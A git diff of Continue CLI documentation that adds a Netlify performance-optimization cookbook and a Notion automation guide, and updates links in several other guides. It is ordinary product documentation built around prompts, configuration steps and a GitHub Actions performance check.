+ - **Continue CLI Pro Plan** with
+ the models add-on, OR
+ - **Your own API keys** added to Continue Hub secrets
+ The agent will automatically detect and use your
+ configuration along with the Netlify MCP for deployment operations.
+
+
+
+---
+
+## Performance Optimization Steps
+
+### Step 1: Baseline Performance Metrics
+
+Establish your current performance baseline using cn CLI:
+
+```bash
+# Start cn in TUI mode
+cn
+
+# Then ask:
+"Show my site's Core Web Vitals and build times"
+```
+
+
+ **Test in Plan Mode First**: Before making performance optimizations that
+ might affect your site, test your prompts in plan mode (see the [Plan Mode
+ Guide](/guides/plan-mode-guide); press **Shift+Tab** to switch modes). This
+ shows you what the agent will do without executing it. For example: `"Set up
+ A/B testing between main and feature branch with performance monitoring"`
+
+
+
+
+ Netlify automatically tracks:
+ - **Build Performance**: Compile times, cache
+ hits
+ - **Runtime Performance**: Core Web Vitals, Time to Interactive
+ - **Resource Usage**: Bandwidth, function execution times
+
+
+
+### Step 2: A/B Test Branch Performance
+
+Compare performance between branches:
+
+```bash
+# In cn TUI mode:
+"Set up A/B test between main and feature branch on Netlify:
+- Split traffic 50/50 between branches
+- Track Core Web Vitals for each variant
+- Monitor conversion metrics and bounce rate
+- Enable analytics to measure performance impact
+- Configure cookie-based visitor persistence
+- Set test duration for 1000 unique visitors
+- Auto-conclude test when statistical significance reached
+Report winner based on performance + conversion metrics"
+```
+
+
+ **Enhanced Analytics**: Combine Netlify's A/B testing with PostHog session
+ recordings to understand not just which variant performs better, but why users
+ behave differently. See our [PostHog session analysis
+ guide](/guides/posthog-github-continuous-ai) to set up session tracking and
+ create a complete continuous AI analytics workflow.
+
+
+### Step 3: Advanced Build Optimization with Netlify
+
+Leverage Netlify's powerful build features to dramatically reduce build times:
+
+```bash
+# In cn TUI mode:
+"Optimize my Netlify build performance using these features:
+
+1. Enable Netlify Cache Plugin for dependency caching
+ - Configure @netlify/plugin-cache for node_modules
+ - Set up custom cache directories for .next/cache or .nuxt
+ - Enable Gatsby's incremental builds if applicable
+
+2. Set up Build Plugins from Netlify's ecosystem:
+ - Install @netlify/plugin-lighthouse for performance monitoring
+ - Add netlify-plugin-checklinks to prevent broken links
+ - Configure netlify-plugin-submit-sitemap for SEO
+
+3. Implement Conditional Builds:
+ - Skip builds when only docs change (ignore: /docs/**)
+ - Use build.ignore script for custom logic
+ - Set up monorepo-specific build triggers
+
+4. Configure concurrent builds for monorepos
+ - Set base directory per package
+ - Use pnpm workspaces or yarn workspaces
+
+Show me the netlify.toml configuration and explain each optimization"
+```
+
+
+ **Netlify Build Features You're Getting**:
+ - [Build Caching](https://docs.netlify.com/configure-builds/build-caching/) - Persist dependencies between builds
+ - [Build Plugins](https://docs.netlify.com/integrations/build-plugins/) - Extend build process with 100+ plugins
+ - [Conditional Builds](https://docs.netlify.com/configure-builds/ignore-builds/) - Skip unnecessary builds
+ - [Monorepo Support](https://docs.netlify.com/configure-builds/monorepos/) - Optimize multi-package repos
+
+These features can reduce build times by 50-70% for most projects!
+
+
+
+
+ **Discover more optimization prompts!** The Netlify community has documented dozens of build optimization strategies in their [Support Guide: How can I optimize my Netlify build time](https://answers.netlify.com/t/support-guide-how-can-i-optimize-my-netlify-build-time/3907).
+
+ Use this guide as inspiration for cn CLI prompts not covered in this cookbook, such as:
+ - `"Configure my builds to skip Dependabot PRs automatically"`
+ - `"Set up custom ignore patterns for documentation-only changes"`
+ - `"Optimize my Contentful webhooks to prevent duplicate builds"`
+ - `"Show me how to use build hooks instead of automatic git triggers"`
+ - `"Help me choose between Astro and Hugo based on build performance"`
+
+ The community guide contains real-world scenarios that you can turn into AI-assisted solutions - just describe what you want to achieve and let cn CLI handle the implementation!
+
+
+### Step 4: Bundle Analysis with Netlify's Built-in Tools
+
+Use Netlify's bundle analyzer and optimization features:
+
+```bash
+# In cn TUI mode:
+"Analyze and optimize my bundle using Netlify's tools:
+
+1. Enable Netlify Bundle Analyzer:
+ - Add @netlify/plugin-bundle-analyzer to plugins
+ - Configure size thresholds in netlify.toml
+ - Generate visual bundle reports
+
+2. Set up Asset Optimization:
+ - Enable automatic JS minification
+ - Configure CSS optimization
+ - Turn on HTML minification
+ - Set up image processing pipeline
+
+3. Implement Smart Code Splitting:
+ - Analyze current chunks with the bundle analyzer
+ - Identify components over 50KB for splitting
+ - Configure webpack/vite for optimal chunking
+ - Set up route-based code splitting
+
+4. Configure Netlify's CDN for optimal delivery:
+ - Set cache headers for static assets
+ - Enable Brotli compression
+ - Configure edge caching rules
+
+Generate a full report with before/after bundle sizes"
+```
+
+
+
+ **Features Available Through Netlify MCP**:
+ - [Bundle
+ Analyzer](https://docs.netlify.com/configure-builds/build-plugins/bundle-analyzer/): Visualize your JavaScript bundles
+ - [Asset
+ Optimization](https://docs.netlify.com/configure-builds/post-processing/):
+ Automatic minification and compression
+ - [Edge
+ Network](https://docs.netlify.com/platform/edge-network/): Global CDN with
+ smart caching
+ - [Deploy
+ Previews](https://docs.netlify.com/site-deploys/deploy-previews/): Test
+ optimizations before production
+
+
+
+### Step 5: Image Optimization
+
+Optimize images for better performance:
+
+```bash
+# In cn TUI mode:
+"Set up Cloudinary image optimization for my Netlify site:
+- Install @cloudinary/netlify-plugin via MCP
+- Auto-convert images to WebP with fallbacks
+- Generate responsive sizes (320w, 640w, 1024w, 1920w)
+- Add lazy loading for all images
+- Configure blur-up placeholders
+- Update netlify.toml with Cloudinary settings
+Target: Reduce image payload by 60-80% and improve LCP"
+```
+
+## Continuous Performance Monitoring
+
+### Step 6: Performance Budget Enforcement with Lighthouse CI
+
+Set and enforce performance budgets with automated testing:
+
+```bash
+# In cn TUI mode:
+"Set up Lighthouse CI with performance budgets for my Netlify site:
+
+Requirements:
+- LCP must be < 2.5 seconds
+- JavaScript bundle must be < 200KB
+- Total size < 500KB
+- Performance score >= 90
+
+Setup needed:
+1. Install @lhci/cli and @netlify/plugin-lighthouse
+2. Create lighthouserc.js with these budget assertions
+3. Configure netlify.toml to run checks on all deploys
+4. Add GitHub status checks to block PRs that exceed budgets
+5. Create performance dashboard at /lighthouse-reports
+
+Please configure the complete Lighthouse CI setup with these budgets."
+```
+
+
+ This comprehensive setup will automatically test every deploy preview and
+ production deployment, blocking any changes that violate your performance
+ budgets.
+
+
+### Step 7: Real User Monitoring with Netlify Analytics
+
+Leverage Netlify's built-in analytics and integrate advanced RUM solutions:
+
+```bash
+# In cn TUI mode:
+"Set up comprehensive Real User Monitoring for my Netlify site:
+
+1. Configure Netlify Analytics Pro (requires Pro account):
+ - Set up server-side analytics (no JS required)
+ - Track Core Web Vitals (LCP, FID, CLS, INP)
+ - Monitor top pages by performance score
+ - Create custom performance alerts
+ - Configure weekly performance reports
+
+2. Integrate Web Vitals tracking:
+ - Install web-vitals library for detailed metrics
+ - Send metrics to Netlify Functions endpoint
+ - Store performance data in Netlify Blobs
+ - Create performance dashboard at /metrics
+
+3. Set up Performance Alerts:
+ - Alert when P75 LCP > 3 seconds
+ - Notify if CLS increases by 20%
+ - Monitor JavaScript error rates
+ - Track 404s and broken resources
+ - Send alerts to Slack via Netlify Functions
+
+4. Configure Geographic Performance Monitoring:
+ - Use Netlify Edge Functions to track region-specific metrics
+ - Identify slow regions with Edge geo data
+ - Compare performance across CDN nodes
+ - Optimize edge caching for slow regions
+
+5. Create Custom Performance Dashboard:
+ - Build dashboard page using Netlify Functions
+ - Display real-time Core Web Vitals
+ - Show performance trends over time
+ - Include browser and device breakdowns
+
+Show me the complete implementation with all code and configurations"
+```
+
+
+ **Note**: Netlify Analytics Pro requires a paid Netlify Pro account ($19/month
+ per site). The prompt above assumes you have this plan. For free tier users,
+ focus on steps 2-5 which use Netlify Functions and Edge Functions to build
+ custom analytics.
+
+
+
+ **Netlify Analytics Advantages**:
+ - [Server-side Analytics](https://docs.netlify.com/analytics/get-started/) - No client-side JavaScript needed
+ - [Core Web Vitals](https://docs.netlify.com/analytics/core-web-vitals/) - Automatic tracking of Google's metrics
+ - [Custom Metrics](https://docs.netlify.com/functions/logs/) - Track any metric via Functions
+ - [Edge Insights](https://docs.netlify.com/edge-functions/overview/#geolocation) - Geographic performance data
+ - [No Cookie Banner Required](https://docs.netlify.com/analytics/get-started/#privacy) - GDPR compliant by default
+
+Unlike Google Analytics, Netlify Analytics:
+
+- Doesn't slow down your site (server-side)
+- Captures 100% of traffic (no ad blockers)
+- Respects user privacy (no cookies)
+- Shows bot traffic separately
+
+
+
+
+ **Pro Tip**
+ Combine Netlify Analytics with Edge Functions to create a
+ powerful RUM solution that:
+ - Tracks performance by user segment
+ - A/B tests
+ performance optimizations
+ - Personalizes content based on connection speed
+ - Automatically serves lighter assets to slow connections
+
+
+
+## Automated Performance Checks
+
+### Add GitHub Secrets
+
+Navigate to **Repository Settings → Secrets and variables → Actions** and add:
+
+- `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys)
+- `NETLIFY_AUTH_TOKEN`: Your Netlify personal access token
+- `NETLIFY_SITE_ID`: Your Netlify site ID
+
+### GitHub Actions Performance Guard
+
+Block PRs that degrade performance:
+
+```yaml
+name: Performance Check
+
+on:
+ pull_request:
+
+jobs:
+ performance:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v4
+ - uses: actions/setup-node@v4
+ with:
+ node-version: "22"
+
+ - name: Install Continue CLI
+ run: |
+ npm install -g @continuedev/cli
+ echo "✅ Continue CLI installed"
+
+ - name: Authenticate Continue CLI
+ env:
+ CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }}
+ run: |
+ cn auth login --api-key "$CONTINUE_API_KEY"
+ echo "✅ Continue CLI authenticated"
+
+ - name: Deploy and Test Performance
+ id: perf
+ env:
+ NETLIFY_AUTH_TOKEN: ${{ secrets.NETLIFY_AUTH_TOKEN }}
+ NETLIFY_SITE_ID: ${{ secrets.NETLIFY_SITE_ID }}
+ run: |
+ echo "🚀 Deploying PR preview and analyzing performance..."
+ cn -p "Deploy PR preview and run Lighthouse.
+ Compare scores with main branch.
+ Output JSON with score deltas." > performance.json
+
+ - name: Comment Performance Results
+ uses: actions/github-script@v7
+ with:
+ script: |
+ const fs = require('fs');
+ const perf = JSON.parse(fs.readFileSync('performance.json'));
+
+ const emoji = perf.score_delta < -10 ? '🔴' :
+ perf.score_delta < 0 ? '🟡' : '🟢';
+
+ const comment = `## ${emoji} Performance Impact
+
+ | Metric | Main | PR | Delta |
+ |--------|------|----|---------|
+ | Performance Score | ${perf.main_score} | ${perf.pr_score} | ${perf.score_delta > 0 ? '+' : ''}${perf.score_delta} |
+ | LCP | ${perf.main_lcp}s | ${perf.pr_lcp}s | ${perf.lcp_delta > 0 ? '+' : ''}${perf.lcp_delta}s |
+ | Bundle Size | ${perf.main_bundle}KB | ${perf.pr_bundle}KB | ${perf.bundle_delta > 0 ? '+' : ''}${perf.bundle_delta}KB |
+
+ ${perf.score_delta < -10 ? '⚠️ **This PR significantly degrades performance. Please optimize before merging.**' : ''}
+
+ [View Full Report](${perf.report_url})`;
+
+ github.rest.issues.createComment({
+ issue_number: context.issue.number,
+ owner: context.repo.owner,
+ repo: context.repo.repo,
+ body: comment
+ });
+
+ // Fail check if performance degrades significantly
+ if (perf.score_delta < -10) {
+ core.setFailed('Performance degraded by more than 10 points');
+ }
+```
+
+
+ This workflow will:
+ - **Block merge** if performance score drops >10 points
+ - **Warn** on any performance regression
+ - **Celebrate** improvements with green indicators
+
+
+
+## Performance Testing Locally
+
+### Step 8: Local Performance Testing
+
+Test performance before deploying:
+
+```bash
+# In cn TUI mode:
+"Run production build and measure bundle sizes"
+```
+
+### Step 9: Pre-commit Performance Checks
+
+Prevent performance regressions before they happen:
+
+```bash
+# In cn TUI mode:
+"Add pre-commit hooks for bundle size limits"
+```
+
+## Performance Troubleshooting
+
+### Debug Performance Issues
+
+Identify and fix performance bottlenecks:
+
+```bash
+# In cn TUI mode:
+"Why did my performance score drop?"
+```
+
+### Performance Issue Quick Fixes
+
+| Issue | Quick Fix Command (in cn TUI) |
+| ------------- | --------------------------------- |
+| Slow LCP | `"Preload critical resources"` |
+| High CLS | `"Add size attributes to images"` |
+| Large bundles | `"Implement code splitting"` |
+| Slow builds | `"Enable build caching"` |
+| Poor caching | `"Configure cache headers"` |
+
+## What You've Accomplished
+
+
+
+ You've built an AI-powered performance optimization system that:
+ - Automatically monitors Core Web Vitals
+ - Runs A/B tests between branches
+ - Blocks deployments that degrade performance
+ - Provides actionable optimization
+ suggestions
+
+
+
+## Discover Netlify's Hidden Performance Gems
+
+Features many developers don't know Netlify offers:
+
+
+
+
+ **[Netlify Edge Functions](https://docs.netlify.com/edge-functions/overview/)**
+ - Run code at the edge, closer to users
+ - Transform responses on-the-fly
+ - A/B test at the edge level
+ - Personalize content without client-side JS
+
+
+
+
+
+ **[Netlify Graph](https://docs.netlify.com/graph/overview/)**
+ - Unified GraphQL gateway for all your APIs
+ - Automatic TypeScript generation
+ - Built-in authentication handling
+ - Zero client-side API keys needed
+
+
+
+
+ **[On-Demand
+ Builders](https://docs.netlify.com/configure-builds/on-demand-builders/)**
+ - Generate pages only when requested
+ - Cache dynamically generated content
+ - Perfect for large sites (10k+ pages)
+ - Reduce build times dramatically
+
+
+
+
+ **[Background Functions](https://docs.netlify.com/functions/background-functions/)**
+ - Run tasks up to 15 minutes
+ - Process webhooks asynchronously
+ - Handle heavy computations
+ - No timeout worries
+
+
+
+```bash
+# Try these advanced features in cn TUI mode:
+"Show me how to use Netlify Edge Functions for geo-based personalization"
+"Set up On-Demand Builders for my blog with 5000 posts"
+"Configure Background Functions for image processing"
+```
+
+## Performance Best Practices
+
+The Netlify Performance Rules enforce:
+
+
+
+ - Dependency caching enabled
+ - Parallel builds when possible
+ - Incremental compilation
+ - Smart cache invalidation
+
+
+
+ - Automatic image optimization
+ - Efficient resource hints (preload, prefetch)
+ - Optimal cache headers
+ - CDN configuration
+
+
+
+ - Performance budgets enforced
+ - Core Web Vitals tracking
+ - Real user monitoring
+ - Automated alerts
+
+
+
+## Advanced Performance Strategies
+
+### Progressive Enhancement
+
+```bash
+# In cn TUI mode:
+"Implement progressive enhancement with basic HTML first"
+```
+
+### Multi-variant Testing
+
+```bash
+# In cn TUI mode:
+"Test 3 bundle strategies and auto-select winner"
+```
+
+### Predictive Prefetching
+
+```bash
+# In cn TUI mode:
+"Analyze navigation patterns and prefetch next pages"
+```
+
+## Next Steps
+
+- Install [Netlify MCP](https://hub.continue.dev/netlify/netlify-mcp) from Continue Hub
+- Set up [Performance Monitoring](https://docs.netlify.com/analytics/get-started/)
+- Configure [A/B Testing](https://docs.netlify.com/split-testing/overview/)
+- Join the [Continue Discord](https://discord.gg/continue) for support
+
+## Resources
+
+- [Netlify MCP on Continue Hub](https://hub.continue.dev/netlify/netlify-mcp)
+- [Core Web Vitals Guide](https://web.dev/vitals/)
+- [Netlify Analytics Documentation](https://docs.netlify.com/analytics/)
+- [Continue Performance Guides](https://docs.continue.dev/guides)
diff --git a/docs/guides/notion-continue-guide.mdx b/docs/guides/notion-continue-guide.mdx
new file mode 100644
index 000000000..473e22732
--- /dev/null
+++ b/docs/guides/notion-continue-guide.mdx
@@ -0,0 +1,377 @@
+---
+title: "Developer & Team Workflows with Notion + Continue CLI"
+description: "Use Continue CLI with Notion to generate docs, manage tasks, and automate project workflows – all through natural-language prompts."
+sidebarTitle: "Notion with Continue"
+---
+
+
+
+ A workflow that lets you query, update, and create Notion pages or database
+ entries from natural-language prompts. Generate PRDs, sprint tasks, meeting
+ notes, or status reports automatically – perfect for individual developers
+ and cross-functional teams.
+
+
+
+## What You'll Learn
+
+This guide teaches you to:
+- Use natural language to connect to the Notion API directly with Continue CLI for powerful automation
+- Configure Notion API access with proper permissions and security
+- Run prompts in both TUI (interactive) and headless modes
+- Create automated workflows that generate docs, manage tasks, and sync data
+
+## Prerequisites
+
+Before starting, ensure you have:
+
+- [Continue CLI](https://docs.continue.dev/cli/overview) installed (`npm i -g @continuedev/cli`)
+- A [Notion workspace](https://notion.so) with Editor (or higher) access
+- Node.js 18+ installed locally
+- [Continue account](https://hub.continue.dev) with **Hub access**
+
+
+
+ **Agent usage requires credits** – create a Continue API key at
+ [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys)
+ and store it as a secret.
+
+
+
+
+
+ ```bash
+ npm i -g @continuedev/cli
+ ```
+ Verify installation:
+ ```bash
+ cn --version
+ ```
+
+
+
+ 1. Go to **[Notion Integrations](https://www.notion.so/my-integrations)**
+ 2. Click **+ New integration** → give it a name (e.g. "Continue Integration")
+ 3. Select your workspace
+ 4. Under **Content Capabilities**, enable:
+ - ✅ Read content
+ - ✅ Update content
+ - ✅ Insert content
+ 5. Under **Comment Capabilities**, enable:
+ - ✅ Read comments
+ - ✅ Insert comments
+ 6. Under **User Capabilities**, select:
+ - ✅ Read user information including email addresses
+ 7. Click **Submit** and copy the **Internal Integration Secret** (starts with `secret_`)
+
+
+
+ This token is your `NOTION_API_KEY`.
+ Keep it safe – you won't be able to view it again.
+
+
+
+ 8. In Notion, open each database or top-level page you want accessible → **Share** → **Invite** your new integration → **Full access**.
+
+
+
+ Set your Notion API key as an environment variable in your terminal:
+
+ ```bash
+ export NOTION_API_KEY="secret_xxx"
+ ```
+
+
+
+ Running this command sets your API key for the current terminal session only.
+ When you close the terminal, the variable won't persist. To test your API key, run the curl command below in the same session.
+
+ ```bash
+ curl -H "Authorization: Bearer $NOTION_API_KEY" \
+ -H "Notion-Version: 2022-06-28" \
+ https://api.notion.com/v1/databases
+ ```
+
+
+
+
+ Depending on what you want `cn` to accomplish, you'll need to add your Notion workspace keys to the terminal session. The workspace key is your Notion database ID. Run the following command:
+
+ ```bash
+ export NOTION_DATABASE_ID="your_database_id"
+ ```
+
+
+ You can find your database ID by:
+ 1. Opening your Notion changelog database
+ 2. Looking at the URL - it will be something like:
+ https://www.notion.so/your-workspace/DATABASE_ID?v=...
+ 3. The DATABASE_ID is the long string of characters between the last / and the ?
+
+
+
+
+
+## Running Continue CLI with Notion API
+
+
+
+ Continue CLI offers two powerful modes for Notion automation:
+ **TUI mode** for interactive workflows and **Headless mode** for automated scripts.
+
+
+
+
+
+
+
+
+ Navigate to your project directory and run:
+ ```bash
+ cn
+ ```
+
+
+
+ In the TUI interface, enter:
+ ```
+ 1. Fetch my Notion databases using the Notion API key
+ and Database ID stored in this terminal session.
+ 2. Look at the last week of Merged GitHub PRs, and create
+ a changelog entry in Notion summarizing the features and breaking changes.
+ ```
+
+
+
+ TUI mode lets you review and approve each action before execution,
+ perfect for learning and debugging.
+
+
+
+
+
+
+
+
+
+ Execute prompts directly from the command line:
+ ```bash
+ cn -p --auto "
+ 1. Fetch my Notion databases using the Notion API key
+ and Database ID stored in this terminal session.
+ 2. Analyze all merged GitHub PRs from the past week.
+ 3. Extract feature descriptions and breaking changes.
+ 4. Create a technical changelog in Notion with PR links."
+ ```
+
+ **Flags explained:**
+ - `-p`: Run without TUI interface
+ - `--auto`: Execute without manual approval
+
+
+
+ Always test prompts in TUI mode first before running
+ them with `--auto` in production.
+
+
+
+
+
+
+
+
+
+ - Environment variable `NOTION_API_KEY` must be set before running Continue CLI
+ - Continue automatically uses the API key to authenticate with Notion
+ - No need for manual curl commands - just reference "the API key stored in this session"
+ - For complex workflows, Continue maintains the API connection throughout
+ - Consider creating aliases or scripts for frequently used prompts
+
+
+
+---
+
+## Quick Start Example
+
+Working example that demonstrates the power of Continue with Notion API:
+
+
+
+ **This exact command has been tested and works:**
+
+ ```bash
+ # Weekly Sprint Summary
+ cn -p --auto "
+ 1. Fetch Notion Sprint database
+ 2. Analyze completed tasks vs planned
+ 3. Generate sprint retrospective page
+ 4. Add velocity metrics and burndown chart"
+ ```
+
+ **What this does:**
+ 1. Connects to your Notion workspace using the API key
+ 2. Analyzes your sprint data
+ 3. Calculates completion metrics
+ 4. Creates a comprehensive retrospective with visualizations
+
+
+
+
+## Example Prompts & Workflows
+
+With the Notion API configured, you can use natural language prompts to automate your workspace. Here are examples for both TUI and headless modes:
+
+
+
+ **TUI Mode:**
+ ```bash
+ cn "
+ 1. Fetch my Notion databases using the API key and secrets stored in this session
+ 2. Generate API documentation for all endpoints
+ in src/api/routes with request/response schemas
+ 3. Create a page in Technical Docs database
+ "
+ ```
+
+ **Headless Mode:**
+ ```bash
+ cn -p --auto "Fetch my Notion databases using the API key and secrets stored in this session. Generate API docs
+ for src/api/routes and save to Notion in Technical Docs database"
+ ```
+
+
+
+ **Headless Mode (Automated):**
+ ```bash
+ cn -p --auto "
+ 1. Fetch my Notion databases using the API key stored in this session
+ 2. Scan codebase for TODO and FIXME comments
+ 3. Create tasks in my Notion Engineering Backlog database
+ 4. Include file paths and complexity estimates"
+ ```
+
+
+
+ ```bash
+ cn -p --auto "
+ 1. Fetch my Notion databases using the API key stored in this session
+ 2. Analyze all merged GitHub PRs from past month
+ 3. In my Notion Launch Database, review the Launch Template.
+ 4. Create an October Launch doc in Notion with a week of launches and materials based on the Launch documents based on the PR analysis and launch documents."
+ ```
+
+
+
+
+ ```bash
+ cn -p --auto "
+ 1. Fetch my Tasks database from Notion using the API key
+ 2. Find tasks completed yesterday
+ 3. Find tasks in progress
+ 4. Create standup note with: completed,
+ in-progress, and blockers sections"
+ ```
+
+
+
+## Advanced Workflows
+
+
+
+ ```bash
+ cn -p --auto "
+ 1. Connect to Notion using the API key in this session
+ 2. Get merged PRs from last 7 days using GitHub
+ 3. Extract feature descriptions and changes
+ 4. Create formatted changelog in Notion
+ 5. Add links back to GitHub PRs"
+ ```
+
+
+
+ Requires GitHub repository access. To add GitHub access, update your [integration settings](https://hub.continue.dev/settings/integrations).
+
+
+
+
+
+ ```bash
+ cn -p --auto "
+ 1. Connect to Notion using the API key in this session
+ 2. Run test coverage report (npm test -- --coverage)
+ 3. Parse coverage metrics
+ 4. Update Test Metrics database in Notion
+ 5. Flag files with coverage below 80%"
+ ```
+
+
+
+ ```bash
+ cn "
+ 1. Connect to Notion using the API key in this session
+ 2. In my Blog Posts Database, find drafts tagged 'Review'
+ 3. Review all blog posts for grammar and clarity and suggest improvements through comments.
+ ```
+
+
+
+ ```bash
+ cn -p --auto "
+ 1. Connect to Notion databases using API key
+ 2. Aggregate completed tasks from the week
+ 3. Calculate velocity and burndown metrics
+ 4. Generate weekly report with charts
+ 5. Share link in Slack #team-updates"
+ ```
+
+
+
+## Security Best Practices
+
+
+
+ **Protect Your API Keys:**
+ - Never commit `NOTION_API_KEY` to version control
+ - Use environment variables or secure secret managers
+ - Rotate API keys every 90 days
+ - Grant integration access only to required databases/pages
+ - Monitor API usage through Notion's integration dashboard
+ - Use `.env` files with `.gitignore` for local development
+
+
+
+
+## Next Steps
+
+- Create a **GitHub Actions** workflow to automate changelog generation on releases
+- Build a **daily standup bot** that runs every morning and posts to Slack
+- Set up **database templates** in Notion for consistent formatting
+- Explore **batch operations** to update multiple pages efficiently
+- Implement **error handling** for API rate limits and network issues
+
+---
+
+## Troubleshooting
+
+
+
+ **API Key Not Found:**
+ - Ensure `NOTION_API_KEY` is exported in your current shell session
+ - Check for typos in the environment variable name
+ - Verify the key starts with `secret_`
+
+ **Database Access Denied:**
+ - Share the specific database with your integration in Notion
+ - Ensure the integration has the correct permissions (Read, Write, Insert)
+
+ **Connection Issues:**
+ - Verify Continue CLI has internet access
+ - Check network connectivity to api.notion.com
+ - Ensure your Notion workspace allows API access
+
+ **Rate Limiting:**
+ - Notion API has rate limits (3 requests per second)
+ - Implement exponential backoff for automated scripts
+ - Consider batching operations when possible
+
+
diff --git a/docs/guides/ollama-guide.mdx b/docs/guides/ollama-guide.mdx
index 724afa1ef..77ca3fd0a 100644
--- a/docs/guides/ollama-guide.mdx
+++ b/docs/guides/ollama-guide.mdx
@@ -86,8 +86,8 @@ There are multiple ways to configure Ollama models in Continue:
The easiest way is to use [pre-configured model blocks](/reference#local-blocks) from the Continue Hub in your local configuration:
-```yaml title="~/.continue/agents/My Local Agent.yaml"
-name: My Local Agent
+```yaml title="~/.continue/configs/config.yaml"
+name: My Local Config
version: 0.0.1
schema: v1
models:
@@ -195,7 +195,7 @@ models:
1. First, add `capabilities: [tool_use]` to your model config
2. If you still get errors, the model may not actually support tools despite documentation
3. Use a different model known to work with tools (e.g., Llama 3.1, Mistral)
-4. Alternatively, you can turn on [System Message tools](/features/agent/model-setup#how-system-message-tools-work)
+4. Alternatively, you can turn on [System Message tools](/ide-extensions/agent/model-setup#how-system-message-tools-work)
See the [Model Capabilities guide](/customize/deep-dives/model-capabilities) for more details.
@@ -315,8 +315,8 @@ ollama pull deepseek-r1:32b
**Solution**: Create a local agent file:
```yaml
-# ~/.continue/agents/Local.yaml
-name: Local Agent
+# ~/.continue/configs/config.yaml
+name: Local Config
version: 0.0.1
schema: v1
models:
diff --git a/docs/guides/overview.mdx b/docs/guides/overview.mdx
index 306804c3f..214c9d996 100644
--- a/docs/guides/overview.mdx
+++ b/docs/guides/overview.mdx
@@ -14,11 +14,62 @@ description: "Comprehensive collection of practical guides for Continue includin
- [Continuous AI: A Developer's Guide](/guides/continuous-ai) - Integrating AI into development workflows
- [How to Use Continue CLI (cn)](/guides/cli) - Command-line interface for Continue
- [Continuous AI Readiness Assessment](/guides/continuous-ai-readiness-assessment) - Evaluate team readiness for Continuous AI adoption
-- [PostHog Session Analysis with Continue CLI](/guides/posthog-github-continuous-ai) - Analyze user behavior data to optimize your codebase with automatic issue creation
+- [Notion + Continue Guide](/guides/notion-continue-guide) - Automate docs, tasks, and release workflows
+- [Pull Request Review Bot with GitHub Actions](/guides/github-pr-review-bot) - Set up automated, privacy-first code reviews using Continue CLI
+
+## MCP Integration Cookbooks
+
+Step-by-step guides for integrating Model Context Protocol (MCP) servers with Continue:
+
+
+
+ Use the Continue Docs MCP to write cookbooks, guides, and documentation with AI-powered workflows
+
+
+
+ Use GitHub MCP to list, filter, and summarize open issues and merged PRs, and post AI-generated comments
+
+
+
+ Use Atlassian Rovo MCP to search and manage Jira issues, Confluence pages, and Compass components with natural language
+
+
+
+ Analyze user behavior data to optimize your codebase with automatic issue creation
+
+
+
+ Optimize web performance with A/B testing and automated monitoring using Netlify MCP
+
+
+
+ Measure and optimize web performance with automated traces, Core Web Vitals monitoring, and performance budgets
+
+
+
+ Manage headless CMS content with AI-powered workflows using Sanity MCP
+
+
+
+ Automated error analysis with Sentry MCP to identify patterns and create actionable GitHub issues
+
+
+
+ Integrate Snyk MCP via Continue Hub to scan code, deps, IaC, and containers
+
+
+
+ Audit Row Level Security in your Supabase database, identify vulnerabilities, and automatically generate fixes using Supabase MCP
+
+
+
+ Build AI-powered data pipelines with dlt MCP for pipeline inspection, schema management, and debugging
+
+
## What Advanced Tutorials Are Available
-- [Codebase and Documentation Awareness](/guides/codebase-documentation-awareness) - Make your agent aware of codebases and documentation
+- [Codebase and Documentation Awareness](/guides/codebase-documentation-awareness) - Make agent mode aware of codebases and documentation
- [Custom Code RAG](/guides/custom-code-rag) - Advanced: Build custom retrieval-augmented generation for large codebases
## How to Contribute to Guides
diff --git a/docs/guides/plan-mode-guide.mdx b/docs/guides/plan-mode-guide.mdx
index 97c2a1b5e..289efe38a 100644
--- a/docs/guides/plan-mode-guide.mdx
+++ b/docs/guides/plan-mode-guide.mdx
@@ -106,7 +106,7 @@ You can switch to `Plan` in the mode selector below the chat input box.
## How Context Integration Works in Plan Mode
-Context is the foundation of effective planning. Without proper context, AI models fall back on generic patterns, leading to plans that don't fit your specific system. Continue's [context system](/features/chat/context-selection) transforms broad suggestions into actionable strategies:
+Context is the foundation of effective planning. Without proper context, AI models fall back on generic patterns, leading to plans that don't fit your specific system. Continue's [context system](/ide-extensions/chat/context-selection) transforms broad suggestions into actionable strategies:
| Context Type | Usage | Best For |
| :------------------- | :----------------------------------------------------- | :---------------------------- |
@@ -267,7 +267,7 @@ Move to Agent Mode when you have:
### Key Takeaways
-The three-mode system—Chat for learning, Plan for strategy, and Agent for execution—provides a complete development workflow that scales from simple bug fixes to complex system architecture.
+The three-mode system—Chat mode for learning, Plan mode for strategy, and Agent mode for execution—provides a complete development workflow that scales from simple bug fixes to complex system architecture.
**Remember:**
diff --git a/docs/guides/posthog-github-continuous-ai.mdx b/docs/guides/posthog-github-continuous-ai.mdx
index 1127f8166..621e4b51d 100644
--- a/docs/guides/posthog-github-continuous-ai.mdx
+++ b/docs/guides/posthog-github-continuous-ai.mdx
@@ -1,23 +1,32 @@
---
title: "Building a Continuous AI Workflow with PostHog and GitHub"
-description: "Build an automated system that continuously monitors PostHog session recordings, analyzes UX issues using Continue CLI, and creates GitHub issues automatically."
-sidebarTitle: "PostHog Session Analysis with Continue CLI"
+description: "Build an automated system that continuously monitors PostHog analytics, analyzes user behavior with AI, and creates GitHub issues automatically using PostHog MCP."
+sidebarTitle: "PostHog Analytics with Continue CLI"
---
- A fully automated workflow that uses Continue CLI to fetch PostHog session
- data, analyze user experience issues with AI, and automatically create GitHub
- issues with specific technical recommendations
+ A fully automated workflow that uses Continue CLI with the PostHog MCP to fetch analytics data, analyze user experience issues with AI, and automatically create GitHub
+ issues with the GitHub CLI.
+## What You'll Learn
+
+This cookbook teaches you to:
+
+- Use [PostHog MCP](https://posthog.com/docs/model-context-protocol) to query [analytics](https://posthog.com/docs/web-analytics), [errors](https://posthog.com/docs/error-tracking), and [feature flags](https://posthog.com/docs/feature-flags)
+- Analyze user behavior patterns with AI
+- Automatically create GitHub issues using GitHub CLI
+- Set up continuous monitoring with GitHub Actions
+
## Prerequisites
Before starting, ensure you have:
- GitHub repository where you want to create issues
-- PostHog account with **[session recordings enabled and collecting data](https://posthog.com/docs/session-replay/installation)**
